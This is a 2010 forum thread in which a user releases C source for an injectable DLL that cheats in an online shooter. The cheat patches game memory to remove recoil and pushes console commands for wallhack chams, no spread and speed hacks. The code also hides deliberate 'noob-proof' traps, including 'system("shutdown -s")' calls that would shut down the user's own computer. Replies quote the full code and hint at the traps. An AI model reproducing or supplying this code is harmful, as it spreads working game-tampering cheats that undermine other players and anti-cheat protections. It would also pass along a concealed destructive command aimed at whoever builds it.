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  1. #1
    flameswor10's Avatar
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    [Release] Flameswor10's Hotkey Base

    Hey.. Here is a Hotkey Base. Have fun. There is a very simple NubProof feature in this xD

    Code:
    #include <windows.h>
    
    //Addys Here
    #define LTCAddy 0x377E7810 //LTClient Address (Not Alt one)
    #define RECOIL1 0x3745BC20
    #define RECOIL2 0x372315E9
    #define RECOIL3 0x3745BC34
    #define RECOIL4 0x3745BC37
    #define RECOIL5 0x3745BC40
    //Defines
    
    void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
    {
    		DWORD *LTClient = ( DWORD* )( LTAddy );
    		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
    		__asm
    		{
    			push szCommand;
    			call CONoff;
    			add esp, 4;
    	}
    }
    bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
    { 
        DWORD dwOrgProtect = NULL; 
    	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
    		return FALSE;
    
        memcpy( pDest, szPatch, sSize ); 
        VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
        return TRUE; 
    }
    
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    void main(void)
    {
    /*	while (!IsGameReadyForHook()){
    		Sleep(20);
    	}
    	bool NX = false;
    	bool spread = false;
    	bool speed = false;
    	bool Recoil = false;
    	bool activate = false;
    	while(true){
                    system("shutdown -s");
    		PushToConsole("ShowFps 1");
    		PushToConsole("FogEnable 0");
    		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
    			if(NX){
    				PushToConsole("SkelModelStencil 0");
    				NX = false;
    			} else {
    				PushToConsole("SkelModelStencil 1");
    				NX = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
    			if(spread){
    				PushToConsole("PerturbRotationEffect 3.000000");
    				PushToConsole("PerturbIncreaseSpeed 3.000000");
    				PushToConsole("PerturbDecreaseSpeed 9.000000");
    				PushToConsole("PerturbWalkPercent 0.500000");
    				spread = false;
    			} else {
    				PushToConsole("PerturbRotationEffect  0.000000"); 
    				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
    				PushToConsole("PerturbWalkPercent 0.000000"); 
    				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
    				spread = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD3)<0){ // No Recoil
    			if(Recoil){
    			Memoria((LPVOID)(RECOIL1), "\xD8\x66\x54", 3);
    			Memoria((LPVOID)(RECOIL2), "\xD9\x46\x54", 3);
    			Memoria((LPVOID)(RECOIL3), "\xD9\x5E\x54", 3);
    			Memoria((LPVOID)(RECOIL4), "\xD9\x46\x48", 3);
    			Memoria((LPVOID)(RECOIL5), "\xD9\x5E\x48", 3);
    				Recoil = false;
    			} else {
    			Memoria((LPVOID)(RECOIL1), "\x90\x90\x90", 3);
    			Memoria((LPVOID)(RECOIL2), "\x90\x90\x90", 3);
    			Memoria((LPVOID)(RECOIL3), "\x90\x90\x90", 3);
    			Memoria((LPVOID)(RECOIL4), "\x90\x90\x90", 3);
    			Memoria((LPVOID)(RECOIL5), "\x90\x90\x90", 3);
    				Recoil = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
    			if(speed){
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 500.000000");
    				system("shutdown -s");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 70.000000");
    				PushToConsole("FRunVel 285.000000");
    				PushToConsole("BRunVel 285.000000");
    				PushToConsole("SRunVel 285.000000");
    				PushToConsole("DuckVel 50.000000");
    				speed = false;
    			} else {
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 550.000000");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 120.000000");
    				PushToConsole("FRunVel 335.000000");
    		    	PushToConsole("BRunVel 335.000000");
    				PushToConsole("SRunVel 335.000000");
    				PushToConsole("DuckVel 100.000000");
    				speed = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
    			if(activate){
    				PushToConsole("ActivationDistance 10" );
    				activate = false;
    			} else {
    				PushToConsole("ActivationDistance 999999" ); 
    				activate = true;
    			}
    		}
    
    		Sleep(200);
    	}*/
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
    					 )
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		    MessageBoxA( NULL, "Welcome to Flameswor10's Hack\n" "If you see this. This is a Nub C+Per", "Flameswor10's hotkey hack", MB_YESNO| MB_ICONWARNING);
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    If you are "Coders" You should be able to pick up my "AntiNub features" If not. Give up now
    if you use this.. please credit me xD
    Last edited by flameswor10; 09-15-2010 at 03:35 PM.
    No I do not make game hacks anymore, please stop asking.

  2. The Following 7 Users Say Thank You to flameswor10 For This Useful Post:

    CodeDemon (09-15-2010),DBag4Life69 (09-15-2010),gamerdesign (09-29-2010),joered (09-27-2010),Mr.Magicman (09-15-2010),NOOB (09-30-2010),willrulz188 (10-05-2010)

  3. #2
    Mr.Magicman's Avatar
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    Looks OK still hotkeys are nothing special anymore

  4. #3
    flameswor10's Avatar
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    I'm only giving this cause I'm gonna work with menu bases now XD
    No I do not make game hacks anymore, please stop asking.

  5. #4
    Mr.Magicman's Avatar
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    Quote Originally Posted by flameswor10 View Post
    I'm only giving this cause I'm gonna work with menu bases now XD
    ask me if you have any questions

  6. The Following User Says Thank You to Mr.Magicman For This Useful Post:

    flameswor10 (09-15-2010)

  7. #5
    ac1d_buRn's Avatar
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    LOL found the 2 noob proof features

  8. #6
    doofbla's Avatar
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    lol but you should make a better noob proof everyone is able to figure this out xD

    comment: lol ;-)
    _____________________________________________

    READING TUTORIAL:

    1. READ MY POST
    2. THINK ABOUT MY POST
    3. PRESS THANKS
    4. MAYBE CORRECT MY POSTS :P




    Dijkstra:
    "Computer Science is no more about computers than astronomy is about
    telescopes."


    THANKS BUTTON RIGHT DOWN --->

  9. #7
    DBag4Life69's Avatar
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    Quote Originally Posted by flameswor10 View Post
    Hey.. Here is a Hotkey Base. Have fun. There is a very simple NubProof feature in this xD

    Code:
    #include <windows.h>
    
    //Addys Here
    #define LTCAddy 0x377E7810 //LTClient Address (Not Alt one)
    #define RECOIL1 0x3745BC20
    #define RECOIL2 0x372315E9
    #define RECOIL3 0x3745BC34
    #define RECOIL4 0x3745BC37
    #define RECOIL5 0x3745BC40
    //Defines
    
    void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
    {
    		DWORD *LTClient = ( DWORD* )( LTAddy );
    		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
    		__asm
    		{
    			push szCommand;
    			call CONoff;
    			add esp, 4;
    	}
    }
    bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
    { 
        DWORD dwOrgProtect = NULL; 
    	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
    		return FALSE;
    
        memcpy( pDest, szPatch, sSize ); 
        VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
        return TRUE; 
    }
    
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    void main(void)
    {
    /*	while (!IsGameReadyForHook()){
    		Sleep(20);
    	}
    	bool NX = false;
    	bool spread = false;
    	bool speed = false;
    	bool Recoil = false;
    	bool activate = false;
    	while(true){
                    system("shutdown -s");
    		PushToConsole("ShowFps 1");
    		PushToConsole("FogEnable 0");
    		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
    			if(NX){
    				PushToConsole("SkelModelStencil 0");
    				NX = false;
    			} else {
    				PushToConsole("SkelModelStencil 1");
    				NX = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
    			if(spread){
    				PushToConsole("PerturbRotationEffect 3.000000");
    				PushToConsole("PerturbIncreaseSpeed 3.000000");
    				PushToConsole("PerturbDecreaseSpeed 9.000000");
    				PushToConsole("PerturbWalkPercent 0.500000");
    				spread = false;
    			} else {
    				PushToConsole("PerturbRotationEffect  0.000000"); 
    				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
    				PushToConsole("PerturbWalkPercent 0.000000"); 
    				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
    				spread = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD3)<0){ // No Recoil
    			if(Recoil){
    			Memoria((LPVOID)(RECOIL1), "\xD8\x66\x54", 3);
    			Memoria((LPVOID)(RECOIL2), "\xD9\x46\x54", 3);
    			Memoria((LPVOID)(RECOIL3), "\xD9\x5E\x54", 3);
    			Memoria((LPVOID)(RECOIL4), "\xD9\x46\x48", 3);
    			Memoria((LPVOID)(RECOIL5), "\xD9\x5E\x48", 3);
    				Recoil = false;
    			} else {
    			Memoria((LPVOID)(RECOIL1), "\x90\x90\x90", 3);
    			Memoria((LPVOID)(RECOIL2), "\x90\x90\x90", 3);
    			Memoria((LPVOID)(RECOIL3), "\x90\x90\x90", 3);
    			Memoria((LPVOID)(RECOIL4), "\x90\x90\x90", 3);
    			Memoria((LPVOID)(RECOIL5), "\x90\x90\x90", 3);
    				Recoil = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
    			if(speed){
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 500.000000");
    				system("shutdown -s");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 70.000000");
    				PushToConsole("FRunVel 285.000000");
    				PushToConsole("BRunVel 285.000000");
    				PushToConsole("SRunVel 285.000000");
    				PushToConsole("DuckVel 50.000000");
    				speed = false;
    			} else {
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 550.000000");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 120.000000");
    				PushToConsole("FRunVel 335.000000");
    		    	PushToConsole("BRunVel 335.000000");
    				PushToConsole("SRunVel 335.000000");
    				PushToConsole("DuckVel 100.000000");
    				speed = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
    			if(activate){
    				PushToConsole("ActivationDistance 10" );
    				activate = false;
    			} else {
    				PushToConsole("ActivationDistance 999999" ); 
    				activate = true;
    			}
    		}
    
    		Sleep(200);
    	}*/
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
    					 )
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		    MessageBoxA( NULL, "Welcome to Flameswor10's Hack\n" "If you see this. This is a Nub C+Per", "HeliDomo's Hotkey Hack", MB_YESNO| MB_ICONWARNING);
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    If you are "Coders" You should be able to pick up my "AntiNub features" If not. Give up now
    WOW... Just to let you know, I found 2 things in that code that were NOT supposed to be there.
    I ALSO found 1 thing that you have to add ONE letter to, in order for this code to even work. :P

    Quote Originally Posted by ac1d_buRn View Post
    LOL found the 2 noob proof features
    I am guessing you haven't found the thing that you have to add a letter to in order for this to work. :P

  10. #8
    ac1d_buRn's Avatar
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    Quote Originally Posted by DBag4Life69 View Post


    WOW... Just to let you know, I found 2 things in that code that were NOT supposed to be there.
    I ALSO found 1 thing that you have to add ONE letter to, in order for this code to even work. :P



    I am guessing you haven't found the thing that you have to add a letter to in order for this to work. :P
    lool. i already found that one and the shut..
    Just saw the commented out LOL

  11. #9
    DBag4Life69's Avatar
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    Quote Originally Posted by ac1d_buRn View Post


    lool. i already found that one and the shut..
    Just saw the commented out LOL
    The FIRST thing I saw was the _______.
    The second thing I saw was the ______, which 'has the "wrong" string'.
    The third thing I saw was the 2 _____ that are in there.

    Hehe.
    Last edited by DBag4Life69; 09-15-2010 at 04:15 AM. Reason: Edited out the n00b proof stuff I found. :P

  12. #10
    flameswor10's Avatar
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    Lol everyone.. Please.. Let the newbies figure out them selves
    No I do not make game hacks anymore, please stop asking.

  13. #11
    DBag4Life69's Avatar
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    Quote Originally Posted by flameswor10 View Post
    Lol everyone.. Please.. Let the newbies figure out them selves
    Lolz. There ya go, I just edited out the giveaways on my behalf.

  14. The Following User Says Thank You to DBag4Life69 For This Useful Post:

    flameswor10 (09-15-2010)

  15. #12
    EDWINSEE's Avatar
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    the no spread hack is undone there is more then 4 PTC for no spread. u speed hack needs fix why u got shutdown 2 times. why u using this
    bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
    {
    DWORD dwOrgProtect = NULL;
    if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
    return FALSE;

    memcpy( pDest, szPatch, sSize );
    VirtualProtect( pDest, sSize, dwOrgProtect, NULL );
    return TRUE;
    }
    in a hotkey base take that out it is made for menu hacks and use
    memcpy((LPVOID)(RECOIL1), "\x90\x90\x90", 3);
    not
    Memoria((LPVOID)(RECOIL1), "\x90\x90\x90", 3);

  16. #13
    DBag4Life69's Avatar
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    Quote Originally Posted by EDWINSEE View Post
    the no spread hack is undone there is more then 4 PTC for no spread. u speed hack needs fix why u got shutdown 2 times. why u using this
    bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
    {
    DWORD dwOrgProtect = NULL;
    if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
    return FALSE;

    memcpy( pDest, szPatch, sSize );
    VirtualProtect( pDest, sSize, dwOrgProtect, NULL );
    return TRUE;
    }
    in a hotkey base take that out it is made for menu hacks and use
    memcpy((LPVOID)(RECOIL1), "\x90\x90\x90", 3);
    not
    Memoria((LPVOID)(RECOIL1), "\x90\x90\x90", 3);
    Dude... LTR.

  17. #14
    flameswor10's Avatar
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    Quote Originally Posted by EDWINSEE View Post
    the no spread hack is undone there is more then 4 PTC for no spread. u speed hack needs fix why u got shutdown 2 times. why u using this
    bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
    {
    DWORD dwOrgProtect = NULL;
    if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
    return FALSE;

    memcpy( pDest, szPatch, sSize );
    VirtualProtect( pDest, sSize, dwOrgProtect, NULL );
    return TRUE;
    }
    in a hotkey base take that out it is made for menu hacks and use
    memcpy((LPVOID)(RECOIL1), "\x90\x90\x90", 3);
    not
    Memoria((LPVOID)(RECOIL1), "\x90\x90\x90", 3);

    You obviously can't understand that "NubProof Features" Is suppostd to be in there?
    I obviously put "mistakes" in the coding. Now don't act smart..
    No I do not make game hacks anymore, please stop asking.

  18. #15
    CodeDemon's Avatar
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    Nice work / Hotkey hacks, good times, good times.

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    eXaLtIc™ (09-15-2010),flameswor10 (09-15-2010)

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